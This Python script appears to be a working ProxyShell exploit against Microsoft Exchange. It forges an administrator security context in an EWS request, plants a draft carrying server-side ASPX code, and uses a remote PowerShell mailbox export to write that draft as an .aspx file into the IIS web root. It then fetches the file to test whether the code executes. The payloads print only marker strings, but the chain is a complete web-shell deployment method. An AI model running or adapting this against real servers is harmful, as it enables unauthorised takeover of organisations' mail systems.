#!/usr/bin/env python3
# Decisive test: raw markers (top-level script / <% %>) exported to .aspx, check if ASP.NET executes ANY marker
import sys, time, random, base64
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

VARIANTS = {
    "script": '<script language="JScript" runat="server">Response.Write("MK_SCRIPT_99");</script>',
    "pct":    '<% Response.Write("MK_PCT_99"); %>',
    "pscript": '<script language="JScript" runat="server">Response.Write("MK_PS_99");</script>',
}

def createitem(sidv, subj, b64, mail):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="Exchange2016"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>%s</t:Subject><t:Body BodyType="HTML">hello</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>%s</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>%s</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>''' % (sidv, subj, b64, mail)

ip = sys.argv[1]
ps = P.ProxyShell(f"https://{ip}", timeout=20)
ps.get_fqdn(); ps.get_legacydn(); print("email:", ps.email)
ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)
def run(s):
    try:
        o, e = P.wsman_shell(s, port); return [str(x) for x in o], [str(x) for x in e]
    except Exception as ex: return None, str(ex)

for kind, payload in VARIANTS.items():
    b64 = base64.b64encode(payload.encode()).decode()
    subj = "M" + P.rand_string(6)
    r = ps.post('/ews/exchange.asmx', createitem(ps.sid, subj, b64, ps.email), {"Content-Type": "text/xml;charset=UTF-8"})
    if 'ResponseClass="Success"' not in r.text:
        print(kind, "draft FAIL"); continue
    time.sleep(2)
    for st in ('Completed','Failed','InProgress'):
        try: run('Get-MailboxExportRequest -Status %s | Remove-MailboxExportRequest -Confirm:$false' % st)
        except Exception: pass
    name = "m" + P.rand_string(6) + ".aspx"
    unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
    try: run('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -FilePath "%s"' % (ps.email, subj, unc))
    except Exception as e: print(kind, "export err", e)
    url = f"https://{ip}/aspnet_client/{name}"
    time.sleep(12)
    try:
        g = requests.get(url, verify=False, timeout=20)
        has = "MK_SCRIPT_99" in g.text or "MK_PCT_99" in g.text or "MK_PS_99" in g.text
        print(f"[{kind}] GET code={g.status_code} len={len(g.content)} MARKER={has} head={g.content[:80]!r}")
    except Exception as e:
        print(kind, "get err", e)
    try: run('Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false')
    except Exception: pass